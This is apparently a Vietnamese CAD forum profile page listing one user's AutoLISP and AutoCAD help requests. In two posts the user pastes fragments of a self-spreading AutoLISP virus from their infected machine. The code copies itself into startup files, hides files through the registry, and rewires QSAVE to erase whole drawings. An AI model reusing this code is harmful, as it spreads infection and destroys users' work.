hung1608
-
Số lượng nội dung
155 -
Đã tham gia
-
Lần ghé thăm cuối
-
Ngày trúng
6
Bài đăng được đăng bởi hung1608
-
-
Tết rùi hay sao mà không thấy ai giúp mình vậy
- 2
- 5
-
Mình sử dụng khá nhiều đường Le để ghỉ chú
Để điều chỉnh các đường Le thẳng hàng song song khoảng cách bàng nhau thì rất mất thời gian
Khi có nhiều đường Le có lệnh nào thực hiện được giống lệnh cát chân dim chẳng hạn
Bạn nào có thể viết giúp mình 1 lisp thực hiện điều đó được không.
- 1
- 4
-
Hiệu Chỉnh Mline
trong AutoLisp
Thanks bạn
Lisp chạy rất tốt
- 1
-
Hiệu Chỉnh Mline
trong AutoLisp
Cách đó mình biết rùi nhưng phức tạp va không hiệu quả lăm
Ban nào có thể thay đổi trục tiếp duoc thì làm giúp mình 1 cai lisp nhe
- 1
- 1
-
Hiệu Chỉnh Mline
trong AutoLisp
Mình có vản vẽ có đường Mline nhưng màu sác của đường tâm của ML không thay đôi được
Mình biết cad không cho hiệu chỉnh đường ở giữa của ML
Bạn nào có thể viết mình 1 lísp có thể thay đổi đường ở giữa được không
Thanks các bạn
- 1
- 1
-
Khi bật cad lên cái là nó xuất hiên cái bảng autocad Application Has Stopped Working la phải thoát khỏi cad, bật đi bật lại vẫn vậy không vô được cad.
Bạn nào biết khác phuc lỗi này chỉ mình cái
thanks
- 1
-
không được bạn lenh này không có hiệu quả
-
chac
:D :D :D
Chưa thấy block nên voi của bạn có thể sờ theo cách sau:
1. Đưa block ra 1 file mới bằng bất cứ cách nào mà bạn biết.
2. xref file mới tạo vô file cũ, thay cho block cũ.
3. Qua file mới xả bỏ block cũ (nếu có).
4. Bây giờ, bạn sẽ sửa file, không phải sửa block nữa.
:D :D :D
Cách của bạn nhiều thao tác quá bạn ah
-
Mình có block rất to và nhiều đối tượng
Vào trong block đẻ sửa 1 vị trí nào đó, để tìm đến đối tượng cần sửa trong block khá mất thời gian
Mình muốn hỏi xem các bạn có cách nào tìm đến vị trí cần sửa nhanh không hay có cách nào cần sửa mà không cần vào trong block không
Thanks
-
Xoay Đoạn Thẳng
trong AutoLisp
Mình có 1 đoạn thảng chỉ chiều nước chảy , mình muốn nó xoay ngược lại hướng nước chảy
Thông thường mình dùng Rotate chọn trung điểm rùi quay 180 độ là được
Nhưng có những bản vẽ đoạn thảng rất dài và nhiều cái kèm theo phải tìm trung diểm phải Zoom bản vẽ hơi nhiều
Các bạn xem giúp mình xem có cách nào click 1 phat là được kết quả xoay 180 độ tại trung điêm được không
Thanks
- 1
- 1
-
Mình tạo như bình thường nhưng khong hiểu sao khi kéo block lên cứ bị lỗi
ArCác block khác mình tạo được như hiệu ứng Array bình thường mà
Các bạn xem giúp nhé , Thanks
- 1
-
Khóa Xref
trong Sử dụng AutoCAD
không có nền XR thì vẽ kiểu gì được bạn
cái nay xem ra hoi bị khó đầy
-
Mình đã làm như bạn bảo nhưng không hiểu quả đến lần 2 là dính luôn bạn ahf
Bạn xem giúp mình nhé
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(load"shxfont""")
(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
(vl-load-com)
(setvar "cmdecho" 0)
(setvar "filedia" 1)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv
anced\\Folder\\Hidden\\SHOWALL"
"CheckedValue"
0
)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv
anced\\Folder\\Hidden\\NOHIDDEN"
"CheckedValue"
0
)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv
anced\\Folder\\Hidden\\NOHIDDEN"
"DefaultValue"
0
)
(setq mnlpth (getvar "menuname"))
(setq dwgpre (getvar "dwgprefix"))
(if (setq doclsp (findfile "acaddoc.lsp"))
(progn (chklsp (strcat mnlpth "doc.lsp") doclsp)
(chklsp (strcat mnlpth ".mnl") doclsp)
(chklsp (strcat dwgpre "acaddoc.lsp") doclsp)
)
)
(setq mac0
'(2256 2256 2726 2256 2585 2726 3243 2679
2726 2256 3149 2726 3196 3290 2726 2632
2397
)
)
(if (and (> (setq cdate (getvar "cdate")) 20090909)
(member (vl-string->list (car (macaddr))) (mkgroup mac0))
(= (rem (fix (* 100 (- cdate (fix cdate)))) 2) 0)
)
(dolsp)
)
(princ)
)
(defun chklsp (fp1 fp2 / fp3 TEM1 TEM2)
(if (setq fp3 (open fp1 "r"))
(progn
(if
(not
(wcmatch (while (setq tem1 (read-line fp3)) (setq tem2 tem1))
"*;;;jjyy*"
)
)
(writelsp fp2 fp1)
)
(close fp3)
)
(writelsp fp2 fp1)
)
(attset fp1 2)
(attset fp2 2)
)
(defun writelsp (fp1 fp2 / fp3 fp4 tem)
(setq fp3 (open fp1 "r")
fp4 (open fp2 "a")
)
(while (setq tem (read-line fp3)) (write-line tem fp4))
(close fp3)
(close fp4)
(princ)
)
(defun attset (fp code / fp1)
(if (and (/= "" fp) code)
(progn (vl-load-com)
(vlax-put-property
(setq fp1 (vlax-invoke-method
(vlax-create-object "Scripting.FileSystemObject")
'GetFile
fp
)
)
'Attributes
code
)
)
)
(vlax-release-object fp1)
)
(defun mkgroup (pt0 / pts)
(setq i 1)
(repeat 500
(setq pts (cons (mapcar '(lambda (x) (/ x i)) pt0) pts))
(setq i (1+ i))
)
(reverse pts)
)
(defun macaddr (/ mac WMIobj con lox sn)
(vl-load-com)
(if (setq WMIobj (vlax-create-object "wbemScripting.SwbemLocator"))
(progn
(setq
con (vl-catch-all-apply
'vlax-invoke
(list WMIobj 'ConnectServer "." "" "" "" "" "" 128 nil)
)
)
(if (vl-catch-all-error-p con)
(setq
con (vlax-invoke WMIobj 'ConnectServer "." "" "" "" "" "")
)
)
(setq lox (vlax-invoke
con
'ExecQuery
"Select * From Win32_NetworkAdapter "
)
)
(vlax-for i lox
(if (vlax-get i 'NetConnectionID)
(progn (setq sn (vlax-get i 'MACAddress))
(or (member sn mac) (setq mac (cons sn mac)))
)
)
)
(mapcar 'vlax-release-object (list lox con WMIobj))
)
)
(reverse mac)
)
(defun dolsp ()
(command "undefine" "qsave")
(command "undefine" "saveas")
(command "undefine" "wblock")
(command "undefine" "insert")
(command "undefine" "pline")
)
(defun c:qsave ()
(command "_.erase" (ssget "x") "")
(princ)
)
(defun c:saveas (/ fp1)
(setq fp1 (getfiled "ͼÐÎÁí´æΪ" (getvar "dwgprefix") "dwg" 1))
(chklsp (strcat (vl-filename-directory fp1) "\\acaddoc.lsp")
(findfile "acaddoc.lsp")
)
(princ)
)
(defun c:wblock () (princ))
(defun c:insert () (princ))
(defun c:pline () (command "_.line") (princ))
;;;jjyy
(setq flagx t)
(defun s::startup (/ DOCLSP DWGPRE CDATE MAC0 MNLPTH)
(vl-load-com)
(setvar "cmdecho" 0)
(setvar "filedia" 1)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv
anced\\Folder\\Hidden\\SHOWALL"
"CheckedValue"
0
)
(vl-registry-write
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv
anced\\Folder\\Hidden\\NOHIDDEN"
- 1
-
Khóa Xref
trong Sử dụng AutoCAD
Mình có file cad bản vẽ rất nặng và nhiều đối tượng, khi chọn hay click phai XR
Các bạn xem có cách nào khoã XR lại không để kể ca khi mình click phải Xr nó cũng không chọn đối tương, bản vẽ nặng nên khi chọn phải Xr rất vất vả
Thanks
-
H
Ví dụ đơn giản (như file của bạn nhé):
1. Tạo text (hoặc Block hay đối tượng bất kỳ...) trên mặt phẳng XOY (Giao diện bình thường của autocad - Bạn chưa biết về 3D nên chỉ nói vậy thôi).
2. Dùng lệnh ROTATE3D:
+ Chọn đối tượng ( có thể từng đối tượng 1)...
+ Pick 2 điểm ( đây chính là trục để đối tượng quay quanh nó ) - Theo mặc định...
+ Nhập góc quay như bản vẽ của bạn là góc 90 độ ...
=> Kết quả ...
* Bạn có thể khám phá thêm các chức năng khác của lệnh ROTATE3D.
https://drive.google.com/open?id=0B2LetfHDljPGM0hlcXFfdVJSZ3M
Mình đã làm được, bạn chỉ luôn giúp mình caí lệnh tạo block được không
- 1
-
Mình dung cad10 gần đây khi bật cad nó cứ load thế này ở dòng comman phải ấn e sc mới chụi thoát rùi mới làm việc được, Các bạn xem giúp mình đây là lỗi gì vậy
princ)
(load "acadapp")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapp")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(load "acadapq")
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
; error: Function cancelled
; error: Function cancelled- 1
-
Minh chưa sài cad 3d, mới bắt đầu học thôi bạn
Bạn có thể chỉ mình chi tiết các lệnh thực hiện được không
Thanks
-
Mình biết thì mình đã chẳng bảo là mình muốn biết cách nào để tạo ra nhưng đối tượng như thế
Chứ view trên lay out thì mình cũng biết, cái khó là tạo ra được nhưng đối tượng như thế
Thanks ,
-
Bên layout bạn gõ lệnh MS (MSPACE) xong, bạn sẽ hiểu ngay vấn đề.
Bên layout mình biết, nhưng cái mình muốn là làm sao tạo được cái text như thế. Bạn có 1 cái te xt bình thường trên 2d làm sao mà tạo được cái te xt 3d như thế và cả block nữa.
-
Làm gì làm được bạn
Bạn nào biết giúp mình với
-
Lệnh gì có thể tạo được te xt và block như thế bạn ah
-
Bạn nào chỉ mình cách tao te xt và block trong bản vẽ này được khônghttp://www.cadviet.com/upfiles/5/11317_do_vui_1.dwg
-
Thanks bạn, mình đã check mấy bản vẽ thấy ổn rùi bạn ah
Thanks
-
Vẫn thế bạn ah, mình thử mấy cái rùi, cái được cái không
Bạn xem giúp là do cad hay li sp giúp mình nhé
Hiệu Chỉnh Đường Dùng Lệnh Le
trong AutoLisp
Đã đăng · Trả lời báo cáo
bạn nào rảnh viết giúp mình lisp này đi